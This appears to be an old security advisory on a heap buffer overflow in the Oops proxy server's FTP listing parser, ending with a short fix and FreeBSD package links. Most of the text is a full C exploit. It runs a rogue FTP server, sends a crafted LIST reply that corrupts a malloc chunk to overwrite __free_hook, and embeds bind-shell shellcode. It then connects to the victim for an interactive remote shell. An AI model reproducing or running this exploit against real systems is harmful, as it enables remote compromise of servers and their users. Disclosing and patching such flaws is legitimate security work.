COMMAND
oops
SYSTEMS AFFECTED
Oops proxy server 1.4.22 1.4.6 and maybe prior
PROBLEM
Following is based on a Packet Knights Advisory 001. Function
list_parser in ftp_utils.c (line is the line sent by the ftp
server in result of a list command):
tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
p is the line without the filename
htmlized_something = html_escaping(p);
and this is the vulnerable sprintf
sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
icons_host[0]?icons_host:myhostname,
icons_port[0]?icons_port:"80",
icons_path[0]?icons_path:"icons",
icons[type],
alts[type],
htmlized_something);
well.. as you can see tempbuf allocs strlen(line)*3. This
probably tougth that the htmlizing of the line can give just a
string 3 times bigger than the line. But if you look at
html_escaping code you can see that he translates " into " .
So by putting a large amount of " in the line we can overflow
tempbuf.
As demostrated by the traceroute and slocate exploits, it's
possibile to overwrite a function pointer modifing a malloc chunk.
And in this case, after the tempbuf buffer, there is the chunk of
htmlized_something. So the exploit have to overwrite it, set
the the size to 0xffffffff to make it a free chunk, put the
address of the shellcode into fd and the address of the target
function pointer into bd (-8), and when the free() will call the
unlink it will put the shellcode address into __free_hook. The
problem of the exploit is that we must compute exactly the length
of tempbuf and hope that malloc will not give it a bigger length,
overwrite perfectly the chunk, know exactly the address of
__free_hook and the address of the shellcode. As you can see the
bigger problem is the shellcode. We can't simply put a (not too)
large amount of nop, cause the unlink will fill the zone near the
one pointed by __free_hook with the address of it.. (so.. some
illegal instrunctions) and the shellcode have to jump them. If
instead you point to a nop the other nops after that will be
overwritten by the unlink() and will result in SIGILL. So.. this
is very hard to exploit.. anyway it's possible.. We include an
example exploit that worked on slackware 7.0.
/* Demostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
* Coded by |CyRaX| <cyrax@pkcrew.org>
* Packet Knights Crew : www.pkcrew.org
* Tested on Slackware 7.0
*
* Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
* LordFelix & bikappa : for some hints about heap overflow
* BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#define ALIGN 0
#define __FREE_HOOK 0x40175994
#define SHELLCODE 0x80b1223
char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int main(int argc,char **argv){
int s,s2,clnsock,i;
struct sockaddr_in srv,clt;
char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
unsigned long ip;
int h1,h2,h3,h4,p1,p2;
u_short port;
int passive=0,tmplen,wrtlen;
struct malloc_chunk{
unsigned int ps;
unsigned int sz;
struct malloc_chunk *fd;
struct malloc_chunk *bd;
}mc;
fd_set setz;
mc.ps=0xffffffff & ~1;
mc.sz=0xffffffff;
mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
memset(magic2,0x41,0);
memcpy(magic2+0,&mc,sizeof(mc));
memset(magic3,'\x90',50);
memcpy(magic3+50,c0de,strlen(c0de));
magic3[50+strlen(c0de)]=0;
if(argc<4){
printf("Proof exploit against oops proxy server heap buffer overflow!\n");
printf("by |CyRaX| <cyrax@pkcrew.org>\n");
printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
printf("your ip: it is necessary for the passive mode\n");
printf("hostname len is the len of the host that he *thinks* to have\n");
printf(" for example if the hostname is c500 you must put 4 here\n");
exit(0);
}
printf("now set the victim as your proxy in any web browser and go to\n");
printf("ftp://<your_ip>\n");
for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';
s=socket(AF_INET,SOCK_STREAM,0);
srv.sin_addr.s_addr=INADDR_ANY;
srv.sin_port=htons(21);
srv.sin_family=AF_INET;
if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
printf("cannot bind to port 21 !\n");
exit(0);
}
listen(s,1);
clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
close(s);
strcpy(buff,"220 exploit is here :)\r\n");
send(clnsock,buff,strlen(buff),0);
recv(clnsock,buff,500,0);
strcpy(buff,"331 any pass is good d00d\r\n");
send(clnsock,buff,strlen(buff),0);
recv(clnsock,buff,500,0);
strcpy(buff,"230 oky d00d.. login done!\r\n");
send(clnsock,buff,strlen(buff),0);
while(1){
memset(buff,0,500);
if(recv(clnsock,buff,500,0)<0)break;
if(strstr(buff,"SYST")){
strcpy(sndbuff,"215 UNIX Type: L8\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"PASV")){
srv.sin_port=htons(1322);
if(passive==0){
s=socket(AF_INET,SOCK_STREAM,0);
if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
printf("cannot bind to port 1322 for passive mode!\n");
exit(0);
}
listen(s,4);
passive=1;
}
else {
close(s2);
}
sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"TYPE")){
strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"NLST")){
if(passive){
s2=accept(s,NULL,NULL);
strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
sprintf(sndbuff,"%s\r\n",magic3);
send(s2,sndbuff,strlen(sndbuff),0);
close(s2);
strcpy(sndbuff,"226 Transfer complete.!\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
}
if(strstr(buff,"LIST")){
strcpy(sndbuff,"150 vieni pure amore!\r\n");
s2=accept(s,NULL,NULL);
/* HOW MANY BYTES TO WRITE COMPUTING */
tmplen=0;
tmplen=strlen("Arwxrwxrwx rooOOOt \r\n ")*3+strlen(magic2)*3+
strlen(magic3)*3;
tmplen=tmplen+128; /* dovesok */
tmplen=tmplen+atoi(argv[3]);
tmplen+=10;
wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
"alt=\"[Unkn] \" ")+atoi(argv[3]);
wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt \r\n")+strlen(magic2);
i=0;
while((wrtlen-tmplen)<16){
magic[i]='"';
tmplen+=3; /* 1 *3 */
wrtlen+=6; /* " */
i++;
}
magic[i]=0;
printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
memset(sndbuff,0,1500);
snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
magic,
magic2,
magic3);
send(s2,sndbuff,3000,0);
strcpy(sndbuff,"226 Ho finito\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
shutdown(s2,2);
printf("closed!\n");
sleep(5);
s2=socket(AF_INET,SOCK_STREAM,0);
clt.sin_addr.s_addr=inet_addr(argv[2]);
clt.sin_port=htons(3879);
clt.sin_family=AF_INET;
if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
printf("SORRY.. it didn't work!\n");
exit(0);
}
strcpy(sndbuff,"uname -a;id\n");
send(s2,sndbuff,strlen(sndbuff),0);
while(1){
FD_ZERO(&setz);
FD_SET(0,&setz);
FD_SET(s2,&setz);
select(s2+1,&setz,NULL,NULL,NULL);
if(FD_ISSET(0,&setz)){
memset(sndbuff,0,sizeof(sndbuff));
fgets(sndbuff,sizeof(sndbuff),stdin);
send(s2,sndbuff,strlen(sndbuff),0);
}
if(FD_ISSET(s2,&setz)){
memset(sndbuff,0,sizeof(sndbuff));
recv(s2,sndbuff,sizeof(sndbuff),0);
printf("%s",sndbuff);
}
}
}
if(strstr(buff,"CWD")){
strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"PWD")){
strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
send(clnsock,sndbuff,strlen(sndbuff),0);
}
if(strstr(buff,"QUIT")){
close(clnsock);
}
}
close(clnsock);
close(s);
close(s2);
}
SOLUTION
Well.. a quick fix could be just changing the alloc line into:
tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];
but you can save more memory allocating tempbuf after the
html_escaping. Anyway.. the authors were contacted and they're
fixing it in a better way.
For FreeBSD:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/www/oops-1.5.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/www/oops-1.5.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/www/oops-1.5.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/www/oops-1.5.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/www/oops-1.5.2.tgz